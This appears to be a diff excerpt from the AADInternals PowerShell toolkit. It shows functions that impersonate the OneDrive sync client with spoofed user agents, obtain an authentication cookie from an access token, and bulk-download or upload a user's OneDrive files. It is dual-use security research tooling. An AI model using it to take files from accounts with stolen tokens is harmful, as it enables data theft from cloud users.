Get-AADIntOneDriveFiles -OneDriveSettings $os -DomainGuid "ff909322-6b19-4a86-b9e9-e01ebb9432fe" | Format-Table
|
||||
|
||||
Path Size Created Modified ResourceID
|
||||
---- ---- ------- -------- ----------
|
||||
\RootFolder\Document1.docx 11032 2.12.2019 20.47.23 2.12.2019 20.48.46 5e7acf393a2e45f18c1ce6caa7...
|
||||
\RootFolder\Book.xlsx 8388 2.12.2019 20.49.14 2.12.2019 20.50.14 b26c0a38d4d14b23b785576e29...
|
||||
\RootFolder\Docs\Document1.docx 84567 9.12.2019 11.24.40 9.12.2019 12.17.50 d9d51e47b66c4805aff3a08763...
|
||||
\RootFolder\Docs\Document2.docx 31145 7.12.2019 17.28.37 7.12.2019 17.28.37 972f9c317e1e468fb2b6080ac2...
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$OneDriveSettings,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$MaxItems=500,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[guid]$DomainGuid = (New-Guid),
|
||||
[switch]$Mac,
|
||||
[switch]$PrintOnly,
|
||||
[switch]$FoldersOnly
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get the list of sync files
|
||||
$allSyncFiles = Get-ODSyncFiles -OneDriveSettings $OneDriveSettings -MaxItems $MaxItems -DomainGuid $DomainGuid -MachineGuid (New-Guid) -Mac $Mac
|
||||
foreach($syncFiles in $allSyncFiles)
|
||||
{
|
||||
# Dowload the OneDrive root folder
|
||||
Get-ODFolder -OneDriveSettings $OneDriveSettings -Folder $syncFiles.Folder -PrintOnly $PrintOnly -FoldersOnly $FoldersOnly
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Downloads the user's OneDrive files
|
||||
# Dec 9th 2019
|
||||
function Send-OneDriveFile
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sends a file to user's OneDrive
|
||||
|
||||
.DESCRIPTION
|
||||
Sends a file to user's OneDrive
|
||||
|
||||
.Parameter OneDriveSettings
|
||||
OneDrive settings of the user
|
||||
|
||||
.Parameter FileName
|
||||
File name of the file to be sent OneDrive
|
||||
|
||||
.Parameter ETag
|
||||
Contains Resource ID and version information of the file. If provided, tries to update the file
|
||||
|
||||
.Parameter FolderId
|
||||
Contains Resource ID of folder where file will be uploaded.
|
||||
|
||||
.Parameter DomainGuid
|
||||
Guid of the domain of user's computer.
|
||||
|
||||
.Parameter Mac
|
||||
Pretend to be a macOS client
|
||||
|
||||
.Example
|
||||
$os = New-AADIntOneDriveSettings
|
||||
Send-AADIntOneDriveFile -FileName "Document1.docx" -OneDriveSettings $os -FolderId 3936bbea74b54f52b4c0ec6f362d6df9rea
|
||||
|
||||
ResourceID : 68c71b7f4be8414b9752266ef4d715b3
|
||||
ETag : "{68C71B7F-4BE8-414B-9752-266EF4D715B3},2"
|
||||
DateModified : 2019-12-09T10:57:36.0000000Z
|
||||
RelationshipName : Document1.docx
|
||||
ParentResourceID : 3936bbea74b54f52b4c0ec6f362d6df9
|
||||
fsshttpstate.xschema.storage.live.com : fsshttpstate.xschema.storage.live.com
|
||||
DocumentStreams : DocumentStreams
|
||||
WriteStatus : Success
|
||||
|
||||
.Example
|
||||
$os = New-AADIntOneDriveSettings
|
||||
Send-AADIntOneDriveFile -FileName "Document1.docx" -OneDriveSettings $os -ETag "{68c71b7f-4be8-414b-9752-266ef4d715b3},2" -FolderId 3936bbea74b54f52b4c0ec6f362d6df9
|
||||
|
||||
ResourceID : 68c71b7f4be8414b9752266ef4d715b3
|
||||
ETag : "{68C71B7F-4BE8-414B-9752-266EF4D715B3},3"
|
||||
DateModified : 2019-12-09T10:57:36.0000000Z
|
||||
RelationshipName : Document1.docx
|
||||
ParentResourceID : 3936bbea74b54f52b4c0ec6f362d6df9
|
||||
fsshttpstate.xschema.storage.live.com : fsshttpstate.xschema.storage.live.com
|
||||
DocumentStreams : DocumentStreams
|
||||
WriteStatus : Success
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$FileName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
$OneDriveSettings,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$FolderId,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[guid]$DomainGuid=(New-Guid),
|
||||
[Parameter(Mandatory=$False)]
|
||||
[switch]$Mac,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$ETag
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check that the file exists..
|
||||
if(!(Test-Path $FileName))
|
||||
{
|
||||
Write-Error "The file $FileName does not exist!"
|
||||
return
|
||||
}
|
||||
|
||||
# Get the file and information
|
||||
$file = Get-Item $FileName
|
||||
[byte[]]$fileBytes=Get-BinaryContent $FileName
|
||||
$created=$file.CreationTimeUtc.toString("yyyy-MM-ddTHH:mm:ss.0000000Z").Replace(".",":")
|
||||
$modified=$file.LastWriteTimeUtc.toString("yyyy-MM-ddTHH:mm:ss.0000000Z").Replace(".",":")
|
||||
|
||||
# Create hash and IDs
|
||||
$hash = Get-XorHash $FileName
|
||||
$multipartUUID = (New-Guid).ToString()
|
||||
$fileUUID = (New-Guid).ToString()
|
||||
$parentId = $OneDriveSettings.DefaultDocumentLibraryId
|
||||
|
||||
$command+="/_api/SPFileSync/sync/$($parentId.Replace('-',''))/RootFolder?View=SkyDriveSync"
|
||||
|
||||
# Set the write mode
|
||||
$WriteMode="Create"
|
||||
if(![string]::IsNullOrEmpty($ETag))
|
||||
{
|
||||
$resourceId=($ETag.Substring(1,($ETag.LastIndexOf("}")-1))).Replace("-","")
|
||||
$etagXml = "<ResourceID>$resourceId</ResourceID><ETag>`"$ETag`"</ETag>"
|
||||
$WriteMode="Update"
|
||||
}
|
||||
|
||||
$bodyStart=@"
|
||||
--uuid:$multipartUUID
|
||||
Content-ID: <LiveFolders>
|
||||
Content-Type: application/web3s+xml
|
||||
|
||||
<?xml version="1.0" encoding="utf-8"?><Items><Document><ParentResourceID>$($FolderId.Replace('-',''))</ParentResourceID><WriteMode>$WriteMode</WriteMode>$etagXml<RelationshipName>$($file.Name)</RelationshipName><DateCreatedOnClient>$created</DateCreatedOnClient><DateModifiedOnClient>$modified</DateModifiedOnClient><DocumentStreams><DocumentStream><DocumentStreamName>Default</DocumentStreamName><MimeType>application/octet-stream</MimeType><XORHash>$hash</XORHash><FragmentSessionId>$fileUUID</FragmentSessionId><DataSize>$($fileBytes.Length)</DataSize></DocumentStream></DocumentStreams></Document></Items>
|
||||
|
||||
--uuid:$multipartUUID
|
||||
Content-Transfer-Encoding: binary
|
||||
Content-Type: application/octet-stream
|
||||
Content-ID:<"$fileUUID":Default>
|
||||
|
||||
|
||||
"@
|
||||
$bodyEnd = @"
|
||||
|
||||
--uuid:$multipartUUID--
|
||||
|
||||
"@
|
||||
|
||||
$body=@()
|
||||
$body+=[System.Text.Encoding]::ASCII.GetBytes($bodyStart)
|
||||
$body+=$fileBytes
|
||||
$body+=[System.Text.Encoding]::ASCII.GetBytes($bodyEnd)
|
||||
|
||||
|
||||
$headers=@{
|
||||
"Scenario" = "StorageInlineUploadsScenario"
|
||||
"Content-Type" = "multipart/related; boundary=`"uuid:$multipartUUID`""
|
||||
"Application" = "OneDriveSync"
|
||||
#"X-TransactionId" = "$((New-Guid).ToString())StorageInlineUploadsScenario"
|
||||
"X-RestrictedWriteCapabilities" = "Irm, LabelIrm"
|
||||
"X-SyncFeatures" = "40"
|
||||
"X-SynchronousMetadata" = "false"
|
||||
"X-UpdateGroupId" = "60"
|
||||
"X-UpdateRing" = "Prod"
|
||||
#"X-SubscriptionIdToNotNotify" = (New-Guid).ToString()
|
||||
#"X-MachineDomainInfo" = "{$($DomainGuid.toString())}"
|
||||
#"X-MachineId" = "$((New-Guid).toString())"
|
||||
#"X-RequestStats" ="btuc=6;did=$((New-Guid).toString());ftuc=1"
|
||||
"X-CustomIdentity" = "SkyDriveSync=$((New-Guid).toString())"
|
||||
"X-GeoMoveOptions" = "HttpRedirection"
|
||||
}
|
||||
|
||||
if(!$MAC)
|
||||
{
|
||||
$headers["X-MachineDomainInfo"] = "{$($DomainGuid.toString())}"
|
||||
}
|
||||
|
||||
$responseHeaders = @{}
|
||||
|
||||
# First get the X-RequestDigest
|
||||
Invoke-ODCommand -OneDriveSettings $OneDriveSettings -Command $command -Body ([byte[]]$body) -Scenario "" -UseStreamReader -ResponseHeaders ([ref]$responseHeaders) -headers $headers -Accept "Application/Web3s+xml" -Mac $Mac
|
||||
if(![String]::IsNullOrEmpty($responseHeaders["Value"]["X-RequestDigest"]))
|
||||
{
|
||||
$headers+=@{
|
||||
"X-RequestDigest" = $responseHeaders["Value"]["X-RequestDigest"]
|
||||
}
|
||||
# The try to send again
|
||||
[xml]$response = Invoke-ODCommand -OneDriveSettings $OneDriveSettings -Command $command -Body ([byte[]]$body) -Scenario "" -UseStreamReader -headers $headers -Accept "Application/Web3s+xml" -Mac $Mac
|
||||
}
|
||||
|
||||
# Return
|
||||
$response.Items.Document
|
||||
}
|
||||
}
|
||||
|
||||
# Downloads a folder from user's OneDrive
|
||||
# Nov 26th
|
||||
function Get-ODFolder
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$OneDriveSettings,
|
||||
[Parameter(Mandatory=$True)]
|
||||
$Folder,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[bool]$PrintOnly,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[bool]$FoldersOnly
|
||||
)
|
||||
Process
|
||||
{
|
||||
if(!$PrintOnly)
|
||||
{
|
||||
Write-Verbose "Folder: $($Folder.Path)"
|
||||
New-Item -ItemType Directory -Path ".$($Folder.Path)" -Force | Out-Null
|
||||
}
|
||||
|
||||
# Set the attributes
|
||||
$attributes=[ordered]@{
|
||||
"Path" = $Folder.Path.replace("/","\")
|
||||
"Size" = ""
|
||||
"ETag" = ""
|
||||
"Created" = [DateTime]$Folder.DateCreated
|
||||
"Modified" = [DateTime]$Folder.DateModified
|
||||
"ResourceID" = $Folder.ResourceID
|
||||
"MimeType" = ""
|
||||
"Url" = ""
|
||||
"XORHash" = ""
|
||||
}
|
||||
$FolderFile = New-Object PSObject -Property $attributes
|
||||
|
||||
$FolderFile
|
||||
|
||||
if(!$FoldersOnly)
|
||||
{
|
||||
# Download the files
|
||||
foreach($document in $Folder.Items.Document)
|
||||
{
|
||||
Get-ODDocument -OneDriveSettings $OneDriveSettings -Document $document -PrintOnly $PrintOnly
|
||||
}
|
||||
}
|
||||
|
||||
# Download the folders
|
||||
foreach($subFolder in $Folder.Items.Folder)
|
||||
{
|
||||
Get-ODFolder -OneDriveSettings $OneDriveSettings -Folder $subFolder -PrintOnly $PrintOnly
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Downloads a file from user's OneDrive
|
||||
# Nov 26th
|
||||
function Get-ODDocument
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$OneDriveSettings,
|
||||
[Parameter(Mandatory=$True)]
|
||||
$Document,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[bool]$PrintOnly
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
# Set the attributes
|
||||
$attributes=[ordered]@{
|
||||
"Path" = $Document.Path.replace("/","\")
|
||||
"Size" = $Document.DocumentStreams.DocumentStream.DataSize
|
||||
"ETag" = $Document.ETag
|
||||
"Created" = [DateTime]$Document.DateCreated
|
||||
"Modified" = [DateTime]$Document.DateModified
|
||||
"ResourceID" = $Document.ResourceID
|
||||
"MimeType" = $Document.DocumentStreams.DocumentStream.MimeType
|
||||
"Url" = $Document.DocumentStreams.DocumentStream.PreAuthURL
|
||||
"XORHash" = $Document.DocumentStreams.DocumentStream.XORHash
|
||||
}
|
||||
$DocFile = New-Object PSObject -Property $attributes
|
||||
|
||||
if(!$PrintOnly)
|
||||
{
|
||||
# Create a web session for the authentication cookie
|
||||
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
|
||||
$webCookie = New-Object System.Net.Cookie
|
||||
$webCookie.Name = ($OneDriveSettings.AuthenticationCookie.Split("="))[0]
|
||||
$webCookie.Value = $OneDriveSettings.AuthenticationCookie.Substring($webCookie.Name.Length + 1)
|
||||
$webCookie.Domain = ($OneDriveSettings.Url.Split("/"))[2]
|
||||
$session.Cookies.Add($webCookie)
|
||||
|
||||
# Download the file
|
||||
Invoke-WebRequest -UseBasicParsing -Method Get -Uri $DocFile.Url -OutFile ".$($DocFile.Path)" -WebSession $session
|
||||
|
||||
# Set the date attributes
|
||||
$FileItem = Get-Item ".$($DocFile.Path)"
|
||||
$FileItem.CreationTime=$DocFile.Created
|
||||
$FileItem.LastWriteTime=$DocFile.Modified
|
||||
|
||||
}
|
||||
return $DocFile
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,409 @@
|
||||
# Utility functions for OneDrive native client
|
||||
|
||||
# OneDrive settings class
|
||||
class OneDriveSettings {
|
||||
[string]$Url
|
||||
[string]$AuthenticationCookie
|
||||
[string]$DefaultDocumentLibraryId
|
||||
[string]$DownloadUrlTemplate
|
||||
[int]$ItemCount
|
||||
}
|
||||
|
||||
# Gets the authentication cookie for OneDrive native client
|
||||
# Nov 26th 2019
|
||||
function Get-ODAuthenticationCookie
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets authentication cookie for OneDrive
|
||||
|
||||
.DESCRIPTION
|
||||
Gets authentication cookie for OneDrive native client
|
||||
|
||||
.Parameter AccessToken
|
||||
AccessToken for OneDrive
|
||||
|
||||
.Example
|
||||
Get-AADIntODAuthenticationCookie
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get the tenant url
|
||||
$tenant = ((Read-Accesstoken $AccessToken).aud.Split("/"))[2]
|
||||
|
||||
$url = "https://$tenant/_api/SP.OAuth.NativeClient/Authenticate?client-request-id=$((New-Guid).toString())"
|
||||
|
||||
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"Accept"= "application/json;odata=verbose"
|
||||
"User-Agent"="Microsoft SkyDriveSync 19.192.0926.0012 ship; Windows NT 10.0 (17763)"
|
||||
"X-GeoMoveOptions" = "HttpRedirection"
|
||||
"X-IDCRL_ACCEPTED" ="t"
|
||||
"X-UserScenario"= "AUO,SignIn"
|
||||
|
||||
|
||||
}
|
||||
|
||||
# Call the authentication API
|
||||
$response = Invoke-WebRequest -UseBasicParsing -uri $url -MaximumRedirection 0 -ErrorAction SilentlyContinue -Method Post -ContentType "application/x-www-form-urlencoded" -Headers $headers
|
||||
|
||||
# Return the SPOIDCRL cookie
|
||||
($response.headers["Set-Cookie"].split(";"))[0]
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Invokes the OD API commands
|
||||
# Nov 26th
|
||||
function Invoke-ODCommand
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$OneDriveSettings,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Command,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Accept="application/json;odata=verbose",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Scenario="AUO,SignIn",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[byte[]]$Body,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$headers=@{},
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Switch]$UseStreamReader,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[PSObject][ref]$ResponseHeaders,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[boolean]$Mac=$False
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Set the headers
|
||||
$headers["Accept"] = $Accept
|
||||
|
||||
if($MAC)
|
||||
{
|
||||
$headers["User-Agent"] = "Microsoft SkyDriveSync 20.169.0823.0006 ship; Mac OS X 10.15.7"
|
||||
}
|
||||
else
|
||||
{
|
||||
$headers["User-Agent"] = "Microsoft SkyDriveSync 19.192.0926.0012 ship; Windows NT 10.0 (17763)"
|
||||
}
|
||||
|
||||
if(![string]::IsNullOrEmpty($Scenario))
|
||||
{
|
||||
$headers["X-UserScenario"] = $Scenario
|
||||
}
|
||||
|
||||
# Create a web session for the authentication cookie
|
||||
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
|
||||
$webCookie = New-Object System.Net.Cookie
|
||||
$webCookie.Name = ($OneDriveSettings.AuthenticationCookie.Split("="))[0]
|
||||
$webCookie.Value = $OneDriveSettings.AuthenticationCookie.Substring($webCookie.Name.Length + 1)
|
||||
$webCookie.Domain = ($OneDriveSettings.Url.Split("/"))[2]
|
||||
$session.Cookies.Add($webCookie)
|
||||
|
||||
# Create the url
|
||||
$url = $OneDriveSettings.Url
|
||||
$url += $Command
|
||||
|
||||
# Call the API
|
||||
try
|
||||
{
|
||||
if($UseStreamReader)
|
||||
{
|
||||
if($Body -ne $null)
|
||||
{
|
||||
$fullResponse = Invoke-WebRequest -UseBasicParsing -uri $url -Method Post -Headers $headers -WebSession $session -Body $Body
|
||||
}
|
||||
else
|
||||
{
|
||||
$fullResponse = Invoke-WebRequest -UseBasicParsing -uri $url -Method Get -Headers $headers -WebSession $session
|
||||
}
|
||||
|
||||
$response = [System.IO.StreamReader]::new($fullResponse.RawContentStream, [System.Text.Encoding]::UTF8).ReadToEnd()
|
||||
if($ResponseHeaders -ne $null)
|
||||
{
|
||||
$ResponseHeaders.Value = $fullResponse.headers
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$response = Invoke-RestMethod -UseBasicParsing -uri $url -Method Get -Headers $headers -WebSession $session
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
if($_.Exception -like "*(501)*")
|
||||
{
|
||||
Write-Error "Got 501 - try using a -Mac switch or proper domain guid"
|
||||
}
|
||||
elseif($Body -ne $null -and $_.Exception -like "*(403)*" -and $ResponseHeaders -ne $null)
|
||||
{
|
||||
# This is part of the normal file upload flow
|
||||
$ResponseHeaders.Value = $_.Exception.Response.Headers
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Error $_.Exception
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
# Return
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Creates an OneDrive settings object to be used in OneDrive functions
|
||||
function New-OneDriveSettings
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Creates a new OneDriveSettings object
|
||||
|
||||
.DESCRIPTION
|
||||
Creates a new OneDriveSettings object used with OneDrive functions
|
||||
|
||||
.Example
|
||||
$os = New-AADIntOneDriveSettings
|
||||
PS C:\> Get-AADIntOneDriveFiles -OneDriveSettings $os | Format-Table
|
||||
|
||||
Path Size Created Modified ResourceID
|
||||
---- ---- ------- -------- ----------
|
||||
\RootFolder\Document1.docx 11032 2.12.2019 20.47.23 2.12.2019 20.48.46 5e7acf393a2e45f18c1ce6caa7...
|
||||
\RootFolder\Book.xlsx 8388 2.12.2019 20.49.14 2.12.2019 20.50.14 b26c0a38d4d14b23b785576e29...
|
||||
\RootFolder\Docs\Document1.docx 84567 9.12.2019 11.24.40 9.12.2019 12.17.50 d9d51e47b66c4805aff3a08763...
|
||||
\RootFolder\Docs\Document2.docx 31145 7.12.2019 17.28.37 7.12.2019 17.28.37 972f9c317e1e468fb2b6080ac2...
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='Credentials',Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(ParameterSetName='SAML',Mandatory=$True)]
|
||||
[String]$SAMLToken,
|
||||
[Parameter(ParameterSetName='Kerberos',Mandatory=$True)]
|
||||
[String]$KerberosTicket,
|
||||
[Parameter(ParameterSetName='Kerberos',Mandatory=$True)]
|
||||
[String]$Domain
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create a new settings object
|
||||
$ODSettings=[OneDriveSettings]::new()
|
||||
|
||||
# Get AccessToken for OfficeApps
|
||||
$OAtoken=Get-AccessToken -Resource "https://officeapps.live.com" -ClientId "ab9b8c07-8f02-4f72-87fa-80105867a763" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -IncludeRefreshToken $true
|
||||
|
||||
# Get the connection details
|
||||
$connections = Get-UserConnections -AccessToken $OAtoken[0]
|
||||
|
||||
# Get the url
|
||||
foreach($connection in $connections)
|
||||
{
|
||||
if($connection.EnabledCapabilities -eq 2051) # Should be OneDrive
|
||||
{
|
||||
$url = $connection.ConnectionUrl
|
||||
# Strip the "/Documents" from the end of the url
|
||||
$ODSettings.Url = $url.Substring(0,$url.LastIndexOf("/"))
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if([string]::IsNullOrEmpty($ODSettings.Url))
|
||||
{
|
||||
# The user doesn't have onedrive :(
|
||||
$upn = (Read-Accesstoken $OAtoken[0]).upn
|
||||
Write-Error "The user $upn doesn't have OneDrive :("
|
||||
return
|
||||
}
|
||||
|
||||
# Get AccessToken for OneDrive
|
||||
$ODtoken=Get-AccessTokenWithRefreshToken -Resource "https://$(($ODSettings.Url.Split("/"))[2])" -ClientId "ab9b8c07-8f02-4f72-87fa-80105867a763" -RefreshToken $OAtoken[1] -TenantId ((Read-Accesstoken -AccessToken $OAtoken[0]).tid)
|
||||
|
||||
# Get the authentication cookie
|
||||
$ODSettings.AuthenticationCookie = Get-ODAuthenticationCookie -AccessToken $ODtoken
|
||||
|
||||
# Get the document library id
|
||||
$ODSettings.DefaultDocumentLibraryId = Get-ODDefaultDocLibId -OneDriveSettings $ODSettings
|
||||
|
||||
# Get the sync policy
|
||||
$syncPolicy = Get-ODSyncPolicy -OneDriveSettings $ODSettings
|
||||
|
||||
# Set the download url template
|
||||
$dlUrl = $syncPolicy.DownloadUrlTemplate
|
||||
$ODSettings.DownloadUrlTemplate = $dlUrl.Substring(0,$dlUrl.IndexOf("{"))
|
||||
|
||||
# Set the ItemCount
|
||||
$ODSettings.ItemCount = [int]$syncPolicy.ItemCount
|
||||
|
||||
# return
|
||||
$ODSettings
|
||||
}
|
||||
}
|
||||
|
||||
# QuickXorHash by Microsoft https://docs.microsoft.com/en-us/onedrive/developer/code-snippets/quickxorhash
|
||||
# Dec 9th 2019
|
||||
$xorhash_code = @"
|
||||
using System;
|
||||
|
||||
public class QuickXorHash : System.Security.Cryptography.HashAlgorithm
|
||||
{
|
||||
private const int BitsInLastCell = 32;
|
||||
private const byte Shift = 11;
|
||||
private const int Threshold = 600;
|
||||
private const byte WidthInBits = 160;
|
||||
|
||||
private UInt64[] _data;
|
||||
private Int64 _lengthSoFar;
|
||||
private int _shiftSoFar;
|
||||
|
||||
public QuickXorHash()
|
||||
{
|
||||
this.Initialize();
|
||||
}
|
||||
|
||||
protected override void HashCore(byte[] array, int ibStart, int cbSize)
|
||||
{
|
||||
unchecked
|
||||
{
|
||||
int currentShift = this._shiftSoFar;
|
||||
|
||||
// The bitvector where we'll start xoring
|
||||
int vectorArrayIndex = currentShift / 64;
|
||||
|
||||
// The position within the bit vector at which we begin xoring
|
||||
int vectorOffset = currentShift % 64;
|
||||
int iterations = Math.Min(cbSize, QuickXorHash.WidthInBits);
|
||||
|
||||
for (int i = 0; i < iterations; i++)
|
||||
{
|
||||
bool isLastCell = vectorArrayIndex == this._data.Length - 1;
|
||||
int bitsInVectorCell = isLastCell ? QuickXorHash.BitsInLastCell : 64;
|
||||
|
||||
// There's at least 2 bitvectors before we reach the end of the array
|
||||
if (vectorOffset <= bitsInVectorCell - 8)
|
||||
{
|
||||
for (int j = ibStart + i; j < cbSize + ibStart; j += QuickXorHash.WidthInBits)
|
||||
{
|
||||
this._data[vectorArrayIndex] ^= (ulong)array[j] << vectorOffset;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
int index1 = vectorArrayIndex;
|
||||
int index2 = isLastCell ? 0 : (vectorArrayIndex + 1);
|
||||
byte low = (byte)(bitsInVectorCell - vectorOffset);
|
||||
|
||||
byte xoredByte = 0;
|
||||
for (int j = ibStart + i; j < cbSize + ibStart; j += QuickXorHash.WidthInBits)
|
||||
{
|
||||
xoredByte ^= array[j];
|
||||
}
|
||||
this._data[index1] ^= (ulong)xoredByte << vectorOffset;
|
||||
this._data[index2] ^= (ulong)xoredByte >> low;
|
||||
}
|
||||
vectorOffset += QuickXorHash.Shift;
|
||||
while (vectorOffset >= bitsInVectorCell)
|
||||
{
|
||||
vectorArrayIndex = isLastCell ? 0 : vectorArrayIndex + 1;
|
||||
vectorOffset -= bitsInVectorCell;
|
||||
}
|
||||
}
|
||||
|
||||
// Update the starting position in a circular shift pattern
|
||||
this._shiftSoFar = (this._shiftSoFar + QuickXorHash.Shift * (cbSize % QuickXorHash.WidthInBits)) % QuickXorHash.WidthInBits;
|
||||
}
|
||||
|
||||
this._lengthSoFar += cbSize;
|
||||
}
|
||||
|
||||
protected override byte[] HashFinal()
|
||||
{
|
||||
// Create a byte array big enough to hold all our data
|
||||
byte[] rgb = new byte[(QuickXorHash.WidthInBits - 1) / 8 + 1];
|
||||
|
||||
// Block copy all our bitvectors to this byte array
|
||||
for (Int32 i = 0; i < this._data.Length - 1; i++)
|
||||
{
|
||||
Buffer.BlockCopy(
|
||||
BitConverter.GetBytes(this._data[i]), 0,
|
||||
rgb, i * 8,
|
||||
8);
|
||||
}
|
||||
|
||||
Buffer.BlockCopy(
|
||||
BitConverter.GetBytes(this._data[this._data.Length - 1]), 0,
|
||||
rgb, (this._data.Length - 1) * 8,
|
||||
rgb.Length - (this._data.Length - 1) * 8);
|
||||
|
||||
// XOR the file length with the least significant bits
|
||||
// Note that GetBytes is architecture-dependent, so care should
|
||||
// be taken with porting. The expected value is 8-bytes in length in little-endian format
|
||||
var lengthBytes = BitConverter.GetBytes(this._lengthSoFar);
|
||||
System.Diagnostics.Debug.Assert(lengthBytes.Length == 8);
|
||||
for (int i = 0; i < lengthBytes.Length; i++)
|
||||
{
|
||||
rgb[(QuickXorHash.WidthInBits / 8) - lengthBytes.Length + i] ^= lengthBytes[i];
|
||||
}
|
||||
|
||||
return rgb;
|
||||
}
|
||||
|
||||
public override sealed void Initialize()
|
||||
{
|
||||
this._data = new ulong[(QuickXorHash.WidthInBits - 1) / 64 + 1];
|
||||
this._shiftSoFar = 0;
|
||||
this._lengthSoFar = 0;
|
||||
}
|
||||
|
||||
public override int HashSize
|
||||
{
|
||||
get
|
||||
{
|
||||
return QuickXorHash.WidthInBits;
|
||||
}
|
||||
}
|
||||
}
|
||||
"@
|
||||
Add-Type -TypeDefinition $xorhash_code -Language CSharp
|
||||
Remove-Variable $xorhash_code
|
||||
|
||||
|
||||
# Calculates XorHash for OneDrive files
|
||||
# Dec 9th 2019
|
||||
function Get-XorHash
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$FileName
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get the full path..
|
||||
$fullpath = (Get-Item $FileName).FullName
|
||||
|
||||
# Create a stream to read bytes
|
||||
$stream = [System.IO.FileStream]::new($fullpath,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read)
|
||||
|
||||
# Create the hash object and do the magic
|
||||
$xorhash = [quickxorhash]::new()
|
||||
$hash = $xorhash.ComputeHash($stream)
|
||||
$b64Hash = [convert]::ToBase64String($hash)
|
||||
|
||||
# Return
|
||||
$b64Hash
|
||||
}
|
||||
}
|
||||
+140
@@ -0,0 +1,140 @@
|
||||
# Speaks out the given text.
|
||||
# Feb 22nd 2022
|
||||
function Start-Speech
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets mp3 stream of the given text and plays it with Media player.
|
||||
|
||||
.DESCRIPTION
|
||||
Gets mp3 stream of the given text using learning tools API and plays it with Media player.
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get the speech.
|
||||
|
||||
.Parameter Language
|
||||
The language code. Defaults to "en-US"
|
||||
|
||||
.Parameter PreferredVoice
|
||||
Male or Female voice, defaults to Female.
|
||||
|
||||
.Parameter Text
|
||||
The text to speak.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForOneNote -SaveToCache
|
||||
PS C:\>Start-AADIntSpeech -Text "Three Swedish switched witches watch three Swiss Swatch watch switches. Which Swedish switched witch watch which Swiss Swatch watch switch?" -Language "en-GB" -PreferredVoice Male
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForOneNote -SaveToCache
|
||||
PS C:\>Start-AADIntSpeech -Text "Mustan kissan paksut posket" -PreferredVoice Female -Language fi-FI
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Text,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Language = "en-US",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("Female","Male")]
|
||||
[String]$PreferredVoice = "Female"
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://onenote.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
|
||||
|
||||
# Construct the body
|
||||
$body = @{
|
